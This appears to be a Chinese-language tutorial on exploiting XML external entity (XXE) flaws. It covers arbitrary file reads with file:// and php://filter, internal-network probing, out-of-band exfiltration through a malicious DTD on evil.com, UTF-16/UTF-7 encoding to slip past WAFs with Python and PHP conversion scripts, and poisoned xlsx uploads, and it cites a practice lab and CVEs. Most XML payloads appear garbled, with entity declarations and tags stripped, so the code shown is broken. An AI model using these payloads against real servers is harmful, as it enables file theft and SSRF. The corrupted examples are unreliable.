一、 XXE是什么?有哪些危害?
XML外部实体,允许XML引用外部数据作为变量。形式如下。
<?xml version="1.0"?>]><user><username>&xxe;username><password>adminpassword>user>
由于外部实体允许多种协议,所以XXE等同于任意文件读取+SSRF
XXE靶场
https://github.com/c0ny1/xxe-lab
二、 XXE利用
如果传递的某个参数可以反射出来,那这就是一个带回显的XXE,可以利用file协议进行任意文件读取
POST /xxe/doLogin.php HTTP/1.1Host: luoke.cn:81Content-Type: application/xml;charset=utf-8Content-Length: 157<?xml version="1.0"?>]><user><username>&xxe;username><password>adminpassword>user>
其次可以用http(s),ftp等协议来探测内网。php支持一些伪协议,java支持jar,旧版支持gopher。
<?xml version="1.0"?>]><user><username>&xxe;username><password>adminpassword>user>
或者
<?xml version="1.0"?>%xxe;]><user><username>adminusername><password>adminpassword>user>
此时内容很难回显,可以尝试从报错信息和响应时间来判断端口是否开放,也常用dnslog来判定是否存在xxe漏洞或者支持此协议。
其中php支持更多伪协议,比如data:text/plain,luoke
更常用的是php://filter/convert.base64-encode/resource=doLogin.php,用来绕过和xml冲突的一些字符【'"<>?&】
更多伪协议见《php文件包含》。
三、 dtd利用
可以在恶意服务器中放置dtd文件,然后将file或者http探测代码写在dtd上,xml请求时引入
<?xml version="1.0"?>%dtd;]><user><username>&all;username><password>adminpassword>user>
dtd内容为
<!ENTITY all SYSTEM "php://filter/convert.base64-encode/resource=doLogin.php">
dtd还常用于没有反射变量,通过url请求外带数据。
在evil.com上监听其8081端口,请求为:
<?xml version="1.0"?>%dtd;]><user><username>adminusername><password>adminpassword>user>
dtd内容为:
"php://filter/convert.base64-encode/resource=doLogin.php">eval %eval;%error;
也可以用dtd在外部拼接CDATA从而绕过xml显示【'"<>?&】字符限制,但无法绕过【%】限制
C盘根目录新建一个test'"<>?&test内容的test文件
请求为
<?xml version="1.0" encoding="utf-8"?> "> <!ENTITY % dtd SYSTEM "http://evil.com/evil.dtd"> %dtd; ]> <user><username>&all;username><password>adminpassword>user>
dtd改为
"%start;%goodies;%end;">
在内部实体中是无法进行拼接的,也无法外带数据。
除此之外,在java环境中,换行文件用ftp协议外带更容易。
此外还有一种本地dtd文件的利用
https://blog.csdn.net/qq_38154820/article/details/106330095
四、 编码绕过WAF
xml支持UTF-16和UTF-7,常用来绕过WAF拦截
新建utf-8.xml
<?xml version="1.0"?>]><user><username>&xxe;username><password>adminpassword>user>
linux系统中iconv -f utf8 -t utf16 utf-8.xml > utf-16.xml
iconv -f utf8 -t utf7 utf-8.xml > utf-7.xml
utf-7需要替换一下xml头为<?xmlversion ="1.0" encoding="utf-7"?>
utf-16规则为fffe的BOM头,每个字节加上00
所以很容易用python写出转码脚本
#python2f8 = open('utf-8.xml','rb')f16 = open('utf-16.xml','wb')p8 = f8.read().encode('hex')p16 = "fffe"+("00".join(p8[i: i+2] for i in range(0, len(p8)+1, 2)))f16.write(p16.decode('hex'))
utf-7较为复杂,用php处理xml请求再反射回来处理比较容易,注意&xxe;先改为xxe;
<?php libxml_disable_entity_loader(false);$xml = <<<?xml version="1.0" encoding="utf-7"?>]>xxe;adminEOD;$dom = new DOMDocument;$dom->preserveWhiteSpace = false;$dom->formatOutput = true;// load the XML string defined above$dom->loadXML($xml,LIBXML_NOENT);// substitute xincludes$a = $dom->saveXML();$a = str_replace("+AD4-xxe","+AD4AJg-xxe",$a);$a = str_replace("+ADw?xml version+AD0AIg-1.0+ACI encoding+AD0AIg-utf-7+ACI?+AD4",'<?xml version="1.0" encoding="utf-7"?>',$a);echo $a;?>
五、 文件XXE
有时候会直接上传xml文件进行解析,也可能产生XXE。
而微软的新版office文件都是xml的压缩文件形式。
最典型的xlsx文件导入数据,比如1.xlsx改为1.zip,解压即可看到
修改[Content_Types].xml,插入恶意代码,然后重新压缩回xlsx,上传即可触发dnslog
]><x>&xxe;<x>
也可以尝试其他文件,比如/xl/workbook.xml 、/xl/worksheets/shee1.xml
除此之外,docx,pptx等文件也可能存在同类问题。
Java常用的poi和poi-ooxml存在如下office文件上传xxe漏洞
CVE-2014-3529/CVE-2014-3574/CVE-2016-5000/CVE-2017-5644/
Weblogic存在xml文件上传xxe漏洞
CVE-2018-3246